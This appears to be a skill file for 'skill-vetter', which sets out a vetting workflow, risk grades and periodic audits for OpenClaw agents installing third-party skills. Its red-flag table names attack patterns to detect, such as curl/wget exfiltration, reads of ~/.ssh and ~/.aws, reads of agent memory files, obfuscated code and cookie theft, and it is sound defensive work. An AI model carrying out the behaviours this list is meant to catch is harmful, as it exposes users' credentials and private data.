Security-first protocol for vetting third-party OpenClaw skills before installation.
Core rule: Never install a skill without vetting it first.
Install to the user-global skills directory so all agents can use it:
~/.agents/skills/skill-vetter/
Source: useai-pro/openclaw-skills-security@skill-vetter on ClawHub, or the equivalent GitHub repo.
After installation, verify:
~/.agents/skills/skill-vetter/SKILL.md exists and is completeWhen asked to install any third-party skill, follow this flow:
Discover skill → Fetch source → Review ALL files → Risk grade → Decide → Install & document
Review every file in the skill, not just SKILL.md. Check for these red flags:
| Red Flag | Why It Matters |
|---|---|
| ---------- | --------------- |
curl/wget to unknown URLs | Data exfiltration |
| Sending data to external servers | Privacy leak |
| Requesting tokens/API keys/credentials | Credential theft |
Reading ~/.ssh, ~/.aws, ~/.config | Sensitive directory access |
Reading MEMORY.md, USER.md, SOUL.md, IDENTITY.md, TOOLS.md, openclaw.config.json | OpenClaw private file access |
base64 decode of opaque content | Obfuscation |
eval()/exec() with external input | Code injection |
| Modifying files outside workspace | System tampering |
| Installing undeclared dependencies | Supply chain risk |
| IP address connections (not domains) | Evasion of DNS-based controls |
| Minified/obfuscated code blocks | Hidden behavior |
sudo/elevated permissions | Privilege escalation |
| Accessing browser cookies/sessions | Session hijacking |
Determine what the skill reads, writes, executes, and whether it needs network access. Verify permissions are minimal and match stated functionality.
| Level | Meaning | Action |
|---|---|---|
| ------- | --------- | -------- |
| 🟢 LOW | Local text/formatting/weather | Install after review |
| 🟡 MEDIUM | File ops, browser, third-party APIs | Install with caution |
| 🔴 HIGH | Credentials, system config, auto-send | Human approval required |
| ⛔ EXTREME | Root, security policy changes, broad sensitive reads | Do not install |
Use the standard report format. See references/report-template.md.
After installing, record: date, skill name, source, risk level, review summary, install path.
Write to memory/YYYY-MM-DD.md or a dedicated security-audits/ directory.
Audit all installed third-party skills under ~/.agents/skills/ periodically:
For each skill, check for new suspicious files, changed code, or newly introduced red flags.
Output status per skill: ✅ Normal / ⚠️ Needs attention / ❌ Problematic.
Write results to timestamped files: security-audits/skills-audit-YYYY-MM-DD_HHMM.md.
See references/audit-template.md for the audit file format.
Add this rule to AGENTS.md to make vetting mandatory for all agents:
## Skill Security Rule
All third-party skills must be vetted with Skill Vetter before installation. No exceptions.
- Review ALL files, not just SKILL.md
- Check for: outbound network calls, sensitive file access, obfuscated code, eval/exec, credential requests, elevated permissions
- Output a standardized vetting report
- HIGH / EXTREME risk requires human approval
- Skills that fail vetting must not be installed
Ready-to-use prompts for common operations. See references/prompt-templates.md.
When managing multiple OpenClaw instances:
共 1 个版本